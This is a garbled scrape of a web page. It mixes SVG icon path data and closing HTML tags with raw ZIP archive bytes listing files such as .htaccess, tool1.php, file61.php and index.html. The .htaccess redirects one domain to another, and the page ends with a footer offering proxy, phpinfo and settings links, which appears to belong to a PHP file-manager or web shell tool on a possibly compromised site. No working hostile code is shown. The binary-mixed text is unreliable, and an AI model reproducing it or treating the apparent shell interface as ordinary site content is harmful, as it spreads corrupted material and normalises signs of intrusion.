M32,39.703c-4.254,0-7.703-3.449-7.703-7.703s3.449-7.703,7.703-7.703s7.703,3.449,7.703,7.703S36.254,39.703,32,39.703z M40.007,25.793c-0.994,0-1.8-0.806-1.8-1.8c0-0.994,0.806-1.8,1.8-1.8c0.994,0,1.8,0.806,1.8,1.8C41.807,24.987,41.001,25.793,40.007,25.793z M0,0v64h64V0H0z M46.91,38.184c-0.073,1.597-0.326,2.687-0.697,3.641c-0.383,0.986-0.896,1.823-1.73,2.657c-0.834,0.834-1.67,1.347-2.657,1.73c-0.954,0.371-2.044,0.624-3.641,0.697C36.585,46.983,36.074,47,32,47s-4.585-0.017-6.184-0.09c-1.597-0.073-2.687-0.326-3.641-0.697c-0.986-0.383-1.823-0.896-2.657-1.73c-0.834-0.834-1.347-1.67-1.73-2.657c-0.371-0.954-0.624-2.044-0.697-3.641C17.017,36.585,17,36.074,17,32c0-4.074,0.017-4.585,0.09-6.185c0.073-1.597,0.326-2.687,0.697-3.641c0.383-0.986,0.896-1.823,1.73-2.657c0.834-0.834,1.67-1.347,2.657-1.73c0.954-0.371,2.045-0.624,3.641-0.697C27.415,17.017,27.926,17,32,17s4.585,0.017,6.184,0.09c1.597,0.073,2.687,0.326,3.641,0.697c0.986,0.383,1.823,0.896,2.657,1.73c0.834,0.834,1.347,1.67,1.73,2.657c0.371,0.954,0.624,2.044,0.697,3.641C46.983,27.415,47,27.926,47,32C47,36.074,46.983,36.585,46.91,38.184z M32,27c-2.761,0-5,2.239-5,5s2.239,5,5,5s5-2.239,5-5S34.761,27,32,27z" /> </symbol> <symbol id="twitter-icon" viewBox="0 0 64 64"> <path d="M48,22.1c-1.2,0.5-2.4,0.9-3.8,1c1.4-0.8,2.4-2.1,2.9-3.6c-1.3,0.8-2.7,1.3-4.2,1.6 C41.7,19.8,40,19,38.2,19c-3.6,0-6.6,2.9-6.6,6.6c0,0.5,0.1,1,0.2,1.5c-5.5-0.3-10.3-2.9-13.5-6.9c-0.6,1-0.9,2.1-0.9,3.3 c0,2.3,1.2,4.3,2.9,5.5c-1.1,0-2.1-0.3-3-0.8c0,0,0,0.1,0,0.1c0,3.2,2.3,5.8,5.3,6.4c-0.6,0.1-1.1,0.2-1.7,0.2c-0.4,0-0.8,0-1.2-0.1 c0.8,2.6,3.3,4.5,6.1,4.6c-2.2,1.8-5.1,2.8-8.2,2.8c-0.5,0-1.1,0-1.6-0.1c2.9,1.9,6.4,2.9,10.1,2.9c12.1,0,18.7-10,18.7-18.7 c0-0.3,0-0.6,0-0.8C46,24.5,47.1,23.4,48,22.1z" /> </symbol> <symbol id="twitter-mask" viewBox="0 0 64 64"> <path d="M0,0v64h64V0H0z M44.7,25.5c0,0.3,0,0.6,0,0.8C44.7,35,38.1,45,26.1,45c-3.7,0-7.2-1.1-10.1-2.9 c0.5,0.1,1,0.1,1.6,0.1c3.1,0,5.9-1,8.2-2.8c-2.9-0.1-5.3-2-6.1-4.6c0.4,0.1,0.8,0.1,1.2,0.1c0.6,0,1.2-0.1,1.7-0.2 c-3-0.6-5.3-3.3-5.3-6.4c0,0,0-0.1,0-0.1c0.9,0.5,1.9,0.8,3,0.8c-1.8-1.2-2.9-3.2-2.9-5.5c0-1.2,0.3-2.3,0.9-3.3 c3.2,4,8.1,6.6,13.5,6.9c-0.1-0.5-0.2-1-0.2-1.5c0-3.6,2.9-6.6,6.6-6.6c1.9,0,3.6,0.8,4.8,2.1c1.5-0.3,2.9-0.8,4.2-1.6 c-0.5,1.5-1.5,2.8-2.9,3.6c1.3-0.2,2.6-0.5,3.8-1C47.1,23.4,46,24.5,44.7,25.5z" /> </symbol> </svg> </body> </html>PK �:�\�~ٽ � .htaccessnu �[��� RewriteEngine on RewriteCond %{HTTP_HOST} ^sulfurlamp\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\.sulfurlamp\.com$ RewriteRule ^(.*)$ "https\:\/\/www\.princealbertcamden\.com\/$1" [R=301,L] PK �:�\�k��t t tool1.phpnu �[��� PK �:�\�U�p p � sitemap.xmlnu �[��� PK �:�\�9�`j j $ X .well-known/pki-validation/error_lognu �[��� PK �:�\ŀs[ [ ? .well-known/pki-validation/0B9D15F8992303492A47CD25BE42E4D8.txtnu �[��� PK �:�\�6?iVi Vi � file61.phpnu �[��� PK �:�\���5 5 pm google06d02b30ffd6e40c.htmlnu �[��� PK �:�\�t�� �� �m index.htmlnu �[��� PK �:�\�~ٽ � �L .htaccessnu �[��� PK � �M
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.21 |
proxy
|
phpinfo
|
Settings